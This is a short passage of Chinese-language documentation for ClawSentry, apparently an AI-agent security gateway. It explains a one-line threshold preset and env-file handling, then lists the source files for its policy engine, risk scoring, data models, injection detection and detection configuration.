也可在 dotenv env file 中设置 CS_PRESET=high 一键调整所有阈值,无需逐一设置环境变量。.clawsentry.env.example 可作为可提交模板,真实启动时请复制到 .clawsentry.env.local 并显式 --env-file 加载。详见安全预设配置


代码位置

模块 路径 职责
L1 策略引擎 src/clawsentry/gateway/policy_engine.py 编排 L1 评估、L2 升级判断、判决生成
风险评分引擎 src/clawsentry/gateway/risk_snapshot.py D1-D5 评分函数、短路规则、v2 合成评分(含 D6 乘数)
数据模型 src/clawsentry/gateway/models.py RiskSnapshotRiskDimensionsCanonicalDecision
注入检测 src/clawsentry/gateway/injection_detector.py D6 评分、三层检测架构、EmbeddingBackend Protocol
检测配置 src/clawsentry/gateway/detection_config.py DetectionConfig dataclass + CS_ env vars 工厂函数

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